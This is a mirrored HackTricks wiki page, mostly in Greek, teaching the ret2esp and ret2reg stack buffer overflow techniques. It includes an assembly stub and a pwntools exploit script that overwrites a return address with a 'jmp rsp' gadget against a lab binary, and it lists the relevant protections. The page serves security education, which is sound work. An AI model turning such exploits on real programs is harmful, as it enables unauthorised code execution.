mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
63 lines
4.9 KiB
Markdown
63 lines
4.9 KiB
Markdown
# Ret2esp / Ret2reg
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## **Ret2esp**
|
||
|
||
**Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας **`jmp esp`** ή **`call esp`** εντολής. Κάνοντας αυτό, ο shellcode τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή `ret`, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο shellcode.
|
||
|
||
Αν **η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη στα Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με την [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ενεργή, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
|
||
|
||
Επιπλέον, η δυνατότητα τοποθέτησης του shellcode **μετά την καταστροφή του EIP**, αντί στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν θα παρεμβαίνουν στον shellcode. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο shellcode τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
|
||
|
||
### Lacking space
|
||
|
||
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial `jmp` shellcode like:
|
||
```armasm
|
||
sub rsp, 0x30
|
||
jmp rsp
|
||
```
|
||
Και γράψτε το shellcode νωρίς στη στοίβα.
|
||
|
||
### Παράδειγμα
|
||
|
||
Μπορείτε να βρείτε ένα παράδειγμα αυτής της τεχνικής στο [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) με μια τελική εκμετάλλευση όπως:
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln')
|
||
p = process()
|
||
|
||
jmp_rsp = next(elf.search(asm('jmp rsp')))
|
||
|
||
payload = b'A' * 120
|
||
payload += p64(jmp_rsp)
|
||
payload += asm('''
|
||
sub rsp, 10;
|
||
jmp rsp;
|
||
''')
|
||
|
||
pause()
|
||
p.sendlineafter('RSP!\n', payload)
|
||
p.interactive()
|
||
```
|
||
## Ret2reg
|
||
|
||
Ομοίως, αν γνωρίζουμε ότι μια συνάρτηση επιστρέφει τη διεύθυνση όπου είναι αποθηκευμένο το shellcode, μπορούμε να εκμεταλλευτούμε τις εντολές **`call eax`** ή **`jmp eax`** (γνωστές ως τεχνική **ret2eax**), προσφέροντας μια άλλη μέθοδο για να εκτελέσουμε το shellcode μας. Ακριβώς όπως το eax, **οποιοδήποτε άλλο καταχωρητή** που περιέχει μια ενδιαφέρουσα διεύθυνση θα μπορούσε να χρησιμοποιηθεί (**ret2reg**).
|
||
|
||
### Παράδειγμα
|
||
|
||
Μπορείτε να βρείτε ένα παράδειγμα εδώ: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||
|
||
## Προστασίες
|
||
|
||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε.
|
||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump στο esp ή σε οποιονδήποτε άλλο καταχωρητή.
|
||
|
||
## Αναφορές
|
||
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|